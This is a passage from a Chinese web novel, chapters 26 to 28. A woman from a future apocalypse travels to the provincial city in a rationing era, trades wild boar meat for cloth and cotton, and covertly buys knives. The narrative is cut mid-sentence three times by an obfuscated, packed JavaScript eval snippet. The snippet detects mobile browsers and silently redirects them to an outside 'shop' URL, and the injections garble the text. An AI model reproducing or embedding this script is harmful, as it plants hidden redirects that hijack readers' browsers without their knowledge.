她这趟是打算去省城把头些日子腌好的野猪肉卖了，光是来回路上花费的时间就得至少几个小时，这还得是天不亮就要出发先去县里才能赶在傍晚前回家，这……这叫苏南来是既不放心让闺女一个人在家，也没办法像之前去县城那样给她裹个包被背在背上一起去。 苏南来劝了半天，宋圆圆也都梗着脑袋不理会，再说深了就顶着红着眼圈一副说苦不苦的委屈样子，直给苏南来看得心软，到底是拗不过闺女，索性就以此作为对她的锻炼——再三嘱咐一个人在家的注意事项，又吃的都给备齐了后，苏南来也就真打算出发去省城了。 “……锅里有闷好的米粥、红薯和鸡蛋羹，接锅的时候一定要小心别被烫着。渴了就拿你爸之前留家里的行军壶喝，里头是灌好的温水，一定要多喝水。还有点心、桃酥啥的都在橱柜里，但得吃完了锅里的东西才能吃……” 临出发前，苏南来碎碎叨叨嘱咐了半天才百般不舍地离开。 这时候天还没亮，为了隐瞒行程，苏南来选择更早出发，不去离得更近的公社等车，而是舍近求远地一路步行去到县城，由县城坐客车去省城。 这是个十分辛苦的过程，光是腿儿着去县里就得走两个小时左右，但这也是个锻炼体力和耐力的过程。 在过大的食欲被满足后，苏南来意识到自己在末世中得到进化的力量与体质有所恢复，却也只能恢复一半。剩下的力量没办法再单纯依靠进食获取，就只能通过外部锻炼提升。 去省城这一路，就是锻炼的一种形式。 苏南来穿着厚厚的军大衣，快步地朝着县城方向走去，身后竹筐里的野猪肉是负重，不断加快的脚步对应着上升加速的心率。 “呼呼呼——” 苏南来一路疾行，紧赶慢赶地可算是赶上了县里一天只有两趟的往返于省城的直达客车。 别看天冷又过节，车上人是一点都不少。 坐在上车口旁边位置上的是个梳着齐耳短发的女同志，只看她袖子上戴着的红袖章就知道，她是这车上的售票员。 身为八大员之一，又是总跟车去省城的售票员，姜红平时和车上的乘客说话时向来都是眼睛朝天。 看见苏南来穿了身买都不买不到的军大衣，姜红挑了挑眉，倒也说不上有多热情，起码态度是比对别人客气点。 “你是军属？那上这边坐会吧。”姜红起身拉着苏南来坐到了司机后边，示意她把身上背的竹筐放地上就行。 不过就算是军属，该问的也还是得问。 “军属同志，你去省城有没有介绍信？” 这年头，介绍信就跟身份证一样。 像是苏南来这样的农村人，要是只去个公社或是到县里逛逛倒还没那么严格，但要是想坐车去省城，就必须要有介绍信才能买车票。 没有介绍信，啥身份也得被轰下去，甚至还会被扣留！ “有，有介绍信。” 苏南来赶忙从兜里掏出田丰年写的介绍信递了过去：“我是要去省城邮局寄东西给我丈夫。县邮局寄件慢，不少东西都是攒一堆才发，我这又有不少吃的要寄过去，怕让县邮局给放坏了，我就去找的大队长给我开的介绍信，打算去省城邮寄，还能顺便打个电话。” 这当然是借口。 部队那边收邮递的规定很严格，要不是本人取件，那寄过去的东西就得在传达室搁一段时间，超过一定期限，就会在检查没问题后原地返回。 她家阿北现在还不知道在哪儿出任务，也不知道啥时候才能回来呢，一时半会肯定没办法亲自去拿自己寄过去的东西。 苏南来有寄件这工夫，还不如找时间直接去趟部队呢！ 当然，这话只能心里说。 为了能让田丰年给自己开去省城的介绍信，也为了能让自己这超大号的竹筐和里面的东西不被怀疑，苏南来可是想了好几天才想出来这么个理由，可不能露馅了！ 好在，县邮局的确是有这么个缺陷，这叫苏南来的话更多了几分可信度。 “咱县邮局是干啥都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396887|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢！” 姜红也清楚县邮局的效率，之前有个外省的同学给她寄特产就是，半个多月才给她送到家，到家一看，全坏了！ 姜红边抱怨着县邮局，边看了眼介绍信，确定没问题后就还给了苏南来：“行了，你这介绍信没问题，赶紧把它收好了吧，这省城查介绍信可比咱们县里要严，丢了可是个麻烦事！” 苏南来道了声谢，跟着从兜里拿出用手绢包好的红薯干边吃边伸手递给对方，这倒是让姜红有些不好意思，挑了根小块的同时，也自己兜里抓了把瓜子跟苏南来分享。 这一来一往的，俩人也就聊了起来，毕竟道挺远的，能有个乐意说话的人也挺好。 苏南来不算是特别擅长交际的人，却偏偏有着一身温和得让人愿意接近的气质，再加上她有心和对方聊下去的主动态度，倒正对了姜红的胃口，一路和她聊得那叫一个热火朝天，得知苏南来这是第一次去省城后，还主动和她说了省城的粗略布局，以及去哪里买东西更方便等等的事。 “去省城是挺麻烦的，但谁让咱们县离省城最远了呢，一天也才一趟去省城一趟从省城回来这两趟车……你以后要是再想去省城买啥东西，可以来县里找我，反正我天天都得跟车去省城，方便得很！”姜红热情地说着，语气中是说不出的骄傲。 买东西啥的，苏南来当然不需要别人帮忙，但她也没有浇灭对方的热情，笑着应了下来。 多个朋友多条路。 双方都打着“相逢即是缘，认识不吃亏”的想法，再加上聊天过程中也的确没触碰到啥雷区，临下车时，倒是真有了几分惺惺相惜、依依不舍的架势。 在约好了再来县城坐车就找她唠嗑的约定后，苏南来随着人群挤下了车，正式踏在了省城的土地上，开启了边逛边寻摸买家的省城之旅。 …… 省城挺大，不是一天能逛完的。 苏南来也没打算去太多地方，在进去省商场买了点只有省城才有的新鲜物件和吃食后，她把身上穿的军大衣换成了破棉袄，又用围脖把头发和脸都挡好，转身去到了省城规模最大的纺织厂家属院附近，摆出一副从乡下过来走亲访友却找不到具体地址的样子，开始在家属院外的胡同转悠。 苏南来到家属院时不到一点，正是大家睡午觉的时间，见没啥人，苏南来就想着要不要换个地方等等，可刚转了没两圈，就见着个看着像是刚下班，长得挺富态的胖脸女人在不远处盯着她看…… 27. 第 27 章 第27章 苏南来正寻思这人是干嘛的呢，就见胖脸女人就深呼吸了一口气，走过来和她“认亲”，引着她就往巷口深处走去：“过来走亲戚的？都带啥东西了？我就住在这附近，你这找亲戚要是不认识路，我还能帮你找找。” 在有些意外对方对这种交易熟稔的同时，苏南来的反应也是十分迅速且上道地回答道：“我这没带啥东西，就是带亿点肉……过来是想找个能在服装厂仓库说得上话的‘亲戚’，托她帮忙换些不要票的布料和棉花……” 这是苏南来此行的真正目的。 之所以在交易尚且自由的年代里没去市场摆摊卖肉，一方面是怕遇上熟人，不好解释这猪肉的来源，另一方面则是因为她换的东西是当下没办法通过其他途径获取到的布料和棉花。 布料和棉花一直是紧俏物，哪怕是苏南来也没太多囤货，家里现有的布料和布票也就勉强能够给她自己和闺女宋圆圆做两身衣服的量，棉花就更别说了，根本没处弄去！ 为此，苏南来只能出此下策，冒风险跑来纺织厂的家属院这里碰运气。 苏南来想做床新的被窝和炕被，现在躺的盖的两条被子都还是她和宋望北刚结婚时做的被窝，这几年是新棉花弹来弹去弹成了老棉花，不光越盖越薄，还越盖越沉，她想做两床新被子……嗯，最好能再多做个床单可以两用当作夏天的盖被。 所以…… 苏南来一脸朴实地说道：“我这打算给家里的被窝铺盖都做新的，所以想找个实在‘亲戚’帮忙，至少得来个半匹布，外加十斤棉花。” “……” 胖脸女人被苏南来这一脸平平无奇，一开口就是半匹、十斤的需求量吓到了。 她还以为苏南来是像之前碰到过的农村人一样，是想用村里年底分到手的少量细粮来城里兑换粗粮的呢。 毕竟从头几年开始国家就开始禁止私下买卖粮食了，想换粮都得偷偷摸摸的，可她万万没想到对方一开口就是想用点肉换不要票的布料和棉花…… 乡下人吃肉还不如她们城里人嘴阔呢，能有多少肉，女人想着，不以为意道：“不要票的布料我倒是能帮你弄到几尺，但你这……” 话还没说完，就见苏南来放下竹筐，撩开盖布，状似无意地露出里面那条裹满了盐粒却更能清楚看到其肌理的猪后腿…… 虽说过年时没少吃肉，但这玩意儿哪儿可能有吃够的时候啊！ 胖脸女人本就是正处于生完孩子没几个月，天天喂奶都没啥营养的状态，一看见这肥嘟嘟的猪后腿肉，下意识咽了咽口水，话锋一转道：“那个……半匹布也不是不可能，但这棉花实在是不好弄，我还得托关系找被服厂的人帮忙……” “我家还有一条猪后腿，和这条加起来能有四十多斤。” “！！！” 苏南来只用了轻飘飘的一句话，就让胖脸女人哑口无言地开始盘算起自己该怎么给她弄来这些布料和棉花的具体操作。 胖脸女人家里条件不错，不然也不可能在当下这个年代还端着这么一脸富态像来，只是哪怕她和丈夫包括娘家、婆家都是双职工，每个月工资加起来都能有百十块钱，可想要在家里囤上四十多斤肉，也仍旧是做梦都不敢想的奢侈事。 毕竟在当下的政策中，像胖脸女人这样的城里人是按户按证买肉，每户每天限购一元猪肉，也就是一天只能买一斤左右的猪肉。可谁有那钱能奢侈到天天吃肉，也就是过年这几天才买了几回肉，却是一斤猪肉好几口子人分着吃，一人也就一两筷子的吃头。 如今这么大个儿的猪后腿肉摆在面前，胖脸女人要是能放过它，简直对不起自己吃出来的这一身肉！ 思考了片刻后，胖脸女人似乎做好了决定：“布料的话，我现在就能给你，但价格方面还得再谈谈。” “你想怎么谈。” “你这肉一看就不是饲养猪，价格肯定要低一点，而我这些布料虽说是厂子染坏了的，但质量都没问题而且还不用布票，所以你这二十多斤的猪后腿肉，我会在半匹布的基础上再给你来点边角料当添头。至于剩下的棉花……” 胖脸女人迟疑了片刻，问道：“你手里还有除猪后腿肉其他的肉吗？我娘家嫂子有认识被服厂的人，想要棉花就只能从那儿找关系。但中间需要疏通些关系，需要些散肉给中间人。” 工人阶层，除非是那种家里都是农村户口，只有一个人当工人，得带拉着全家一起在城里生活的，不然一般都不太缺钱，更多的都是缺少在人口定量外，且自身工作搞不来的的物资。像是肉，除了本身在屠宰场工作，或有这方面亲戚的人外，就是她们厂领导的肚子也一样缺油水。 胖脸女人难得碰上个大户，自然是得想办法多弄点肉，反正现在天也冷，肉也存得住，过了这村儿没这店儿。 苏南来倒没想那么多，只合计了一下现有肉，问：“我现在手里只有猪肉。猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419132|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排骨、猪五花还有俩猪蹄子，你想要哪些？” “……那就来十斤猪五花吧。俩猪蹄子就当时添头吧，回头我再多给你点布料。”胖脸女人毫不犹豫地选择了肥肉更多的五花肉，“要是能成的话，差不多下礼拜就能给你弄来棉花。” 方爱平：“但你得先把肉给我，我也得想辙托别人才能弄来棉花，总得给别人点好处。” 说着，胖脸女人指了指身后的家属院：“我叫方爱平，就住在后边这家属院里，我和我男人都在纺织厂工作，这片儿人都认识我的，你可以随便打听去，不用担心我会把肉昧起来赖账。” 胖脸女人，也就是方爱平之所以主动泄露自己的信息，一是不想叫苏南来误会自己，二也是看出她是个手里不缺肉但缺工业品的人，而自己偏偏就不缺这些东西，有心想跟苏南来达成长久交易。 苏南来看出了对方的想法，却没急着回答，只默默在心里估摸着算了算这些东西的价格…… 市面上的布料差不多五毛钱一尺，不要票的布料得贵一点，大概七毛左右。棉花那玩意儿比布料还难弄，不要票的话，至少得一块钱一斤。而猪肉的市价则是八毛多，野猪肉得便宜点，但也得有七毛左右。 半匹布差不多14块钱左右。 十斤棉花则需要至少十块钱。 自己这二十多斤的猪后腿肉、十斤的猪五花和俩猪蹄，虽说价格上得比布料和棉花便宜几块钱，但只看这位方爱平同志没有提出异议，就能知道，她这还是赚了的。 “猪蹄子等我过来拿棉花的时候给你。”苏南来压着声音说道，“猪蹄子上的毛不好烧，你住在家属院里不方便，我帮你烧好了再拿过来。” 方爱平听出了苏南来的话外之音，心里咽下了对苏南来是如何弄来这些肉的好奇，也不再探究苏南来被围脖盖住的脸长啥样了，就像是苏南来根本不好奇她这些布料和棉花是咋弄来的一样。 双方就是心照不宣，只要自己合适就行。 于是乎，在和方爱平约定好了下次再来省城拿棉花的时间后，苏南来闪身走进了巷子深处，看似是头也不回地离开，实际上她却在方爱平离开后又悄然跟在了她身后…… 害人之心不可有，防人之心不可无。 在亲眼看到方爱平拎着东西进了家属院其中一栋楼没再出来后，苏南来默默记下了楼牌号，背着没比猪肉轻多少的布料，离开了家属院，转身朝着下一个目的地出发了…… 28. 第 28 章 第28章 从纺织厂厂家属院离开后，苏南来顺着不知道叫啥名的街道居民区，一路绕着小胡同走着，等正式踏上省城的主干道时，她最先听到的，就是那敞亮亮的嗓子喊着的： “磨剪子嘞—— “戗菜刀！” 听到这个吆喝声，苏南来两眼直冒光，在人群中寻了寻，见吆喝的人就在几米外，是个佝偻着腰的小老头后，便连忙颠着身后背着的大竹筐，一路小跑着追了上去…… 苏南来家的菜刀为了分野猪肉，卷刃了，用起来可费劲了，偏偏他们村也没个正儿八经磨菜刀的，她也只能先凑合着用。 这趟来省城，本着来一趟不容易不能白来的原则，苏南来也是存了想再买把新菜刀的念头。 刚一进城，她就奔着省商店去了。 等进去了才知道，这菜刀不是你想买，想买就能买的——得有介绍信，还必须是单位或街道开条证明你这是刚需后，你才有购买资格。并且买好后，还必须要登记清楚身份、地址，以此确保个人购买的菜刀不会流向市场。 苏南来完全不知道买菜刀还得要相应的介绍信，自然是只能在售货员看土老帽的眼神中灰溜溜地退场。 但她真的需要一把新的菜刀！ 所以，在和方爱平那儿交易完后，苏南来就又来到了省城这条主干道，打算碰碰运气，毕竟按照她和方爱平那儿得来的情报是，有个祖上就是做菜刀的老头总爱在这条街上吆喝。 这不，踏破铁鞋无觅处，得来全不费工夫。 苏南来紧走慢赶往前追着的这老头，应该就是方爱平说的那位看似早已改行成磨菜刀的，背地里却在偷偷卖菜刀的娄老头！ …… 苏南来在末世学了不少本事。 总结来说，就是不同意义上的跟人掏心掏肺。 像是通过省商店以外的路子购买菜刀这事，就是不久前才和她达成布料合作的方爱平觉得她这人说话办事都不矫情，主动给她指的路。 都是经历过大炼钢铁的人，谁不知道当时，家家户户几乎都是连铁锅带铁勺的，反正只要是沾着“铁”的东西，是一点不差地都贡献给国家了，缺把菜刀也是能理解的事情。 方爱平：“这事问我，可算你找对人了！” 大概是因为不差钱，方爱平对省城里这些私下做买卖人的情况简直如数家珍。 像是这娄老头常出摊吆喝的地方，以及见到后该和对方说的暗号和一些黑话，方爱平是一点没漏地全告诉苏南来了。 苏南来当然不能辜负方爱平如此热情的告知。 这不，好不容易把这娄老头追上了，苏南来都顾不上顺气，就赶紧按着自己跟方爱平那儿学来的话，问道：“您就是从前在前门楼子摆摊磨刀的娄师傅吧？我早就听说过您的大名，知道您磨刀一绝，想问问您这磨刀多少钱？” 听见问话，娄老头瞥了一眼苏南来那浑身上下捂得只露出一对眼睛的打扮，慢吞吞地回答道：“那得看要磨的是什么刀。” “就是咱家里常用的菜刀。”苏南来说完，又补充了一句，“不过今天出来得匆忙，没带菜刀，就是想我问问您有没有个常摊儿。” “没带刀没事，您要是诚心想磨刀，就去桂花巷子最里头那家，那随时都能给磨刀。” 娄老头给苏南来说了个地址，提前声明道：“但先说好，我们家这磨刀小作坊，如今是跟街道那里登记过的‘公私合营’的买卖，这磨刀的钱归公家，我们单领工资，所以不管谁来，都是这个价，可不能还价。” “成，我记住了，保准不还价！” 苏南来没问价，老头也没问她啥时候去，都明白对方话里的意思，也就没必要再说下去。 看着这小老头继续佝偻着腰边走边吆喝的背影，苏南来不禁感慨，人不可貌相啊。 谁能想到，就这么个年过半百的干巴老头，会是个有门路、有胆量在当下都已经公私合营的社会主义改造中，明目张胆卖着磨刀的吆喝，干着私下炼钢、做刀具的牛人！ 苏南来：“果然，我还是太嫩了。” …… 在和这娄老头对上暗号得到具体的交易地点后，苏南来只感慨片刻，就又马不停蹄地来到了桂花巷子。 在敲开了娄老头提供地点的家门后，苏南来察觉到了来自巷子其他人家的目光，对着开门的老太太就来了一句：“过年好啊，二姨姥！” 开门的老太太叫马桂英，是娄老头的老伴。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430283|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早已习以为常这些时不时上门来访的“客人”，也清楚他们来的目的。 面对苏南来这一嗓子，马桂英也只是愣了一瞬，就立刻反应过来：“你……哎呦，是树茂家的闺女啊！哎呦，这都多长时间没见了，你爹娘在老家都还好吗？你男人和孩子呢……” 说着话的工夫，马桂英就将苏南来迎进了院子，将所有或好奇、或窥视的目光关在了门外。 进了院。 苏南来也乱摸乱看乱走动，直截了当道：“大娘，我过来是想问问您这磨（买）把刀多少钱，能不能现在就磨（买）。” “一把菜刀十块钱，不还价。现磨现拿走。” “那我要两把。” 苏南来说着，从兜里掏出二十块钱递了过去，又问：“那你们磨不磨（卖）砍刀？多少钱。” 马桂英接过钱后就先回了趟里屋，过了一会儿，就见她一手拿着两把用纸包住只露出刀把的菜刀，另一手则拎着苏南来刚问的砍刀。 “菜刀磨好了，你先看看磨得行不行。”马桂英先将给了钱的菜刀递给苏南来，说道，“砍刀不好多磨（卖），一把二十，就这一把。” 确定菜刀没问题后，苏南来从马桂英手里接过那把砍刀，看了看觉得还不错，就又从兜里掏出二十块钱递了过去。 想要的东西买到手了，苏南来自然也不愿意再浪费时间，直接起身准备离开。 当然，临出门时，她还不忘对马桂英说道：“二姨姥，这过年也没啥可给您送的，您就把钱收下，就当我这小辈的孝敬，咱们这实在亲戚，以后还得细水长流呢！” 马桂英也闻弦知雅意地捏着一张十块钱没揣兜里，满意高兴又慈祥地嘱咐苏南来回去慢点，有时间再来的几句话后，还不忘一路目送着她出了巷子，心里还想：这要是来家里“磨”菜刀的人个个都像这“外甥孙女”上道又花钱痛快就好了。 并不知道自己被默默夸赞的苏南来：“阿嚏——” （吸吸鼻子）一想二骂三惦记。 嗯……肯定是我家圆圆在想我！ …… 离开桂花巷子，苏南来又是一路快走。 走了十多分钟，她才抵达又一个目的地—— 省国营饭店！